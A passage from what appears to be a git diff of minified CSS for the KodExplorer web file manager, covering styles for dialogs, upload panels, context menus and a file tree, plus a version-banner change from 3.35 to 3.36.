.content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:345px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:235px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.file_upload{height:385px;padding:5px;margin-right:10px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{height:290px;border:1px solid #ddd;overflow:auto;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{display:block;float:left;text-overflow:ellipsis;height:30px;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;overflow:hidden;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;overflow:hidden;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;float:left;margin-top:-30px;border-radius:0;box-shadow:none;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#abd7fb;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img{width:20px;margin-right:5px;border-radius:4px;pointer-events:none;}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}.frame-main{position:absolute;top:40px;width:100%;bottom:0px;}.frame-main .tools-left{background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;position:fixed;line-height:30px;padding-left:20px;height:28px;border-bottom:1px solid #ddd;left:0;width:100%;}.frame-main .tools-left a{font-size:1.25em;font-weight:800;text-decoration:none;color:#999;text-shadow:0 0 3px;display:inline-block;padding:2px 6px;margin-top:0;height:20px;line-height:20px;}.frame-main .tools-left a:hover{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.8);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.8);box-shadow:0 2px 8px rgba(0,0,0,0.8);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}.frame-main .frame-left{position:absolute;left:0;top:30px;bottom:0;width:200px;background:#fff;background-attachment:fixed;overflow:auto;}.frame-main .frame-left .ztree{margin-top:0;}.frame-main .frame-left .ztree li.level0{margin-bottom:5px;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:auto;}.frame-main .frame-right .frame-right-main .resizeMask{z-index:999;position:absolute;left:0;top:0;bottom:0;right:0;display:none;}.frame-main .frame-right .frame-right-main .frame{height:100%;border-left:1px solid #ddd;overflow:hidden;} +/* ver 3.36(2016-12-30) [build 1483112852.8008] */ \ No newline at end of file diff --git a/static/style/skin/base/app_explorer.css b/static/style/skin/base/app_explorer.css index 78bdb6f..c5829de 100755 --- a/static/style/skin/base/app_explorer.css +++ b/static/style/skin/base/app_explorer.css @@ -1,4 +1,4 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476939.9792] */ -::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and 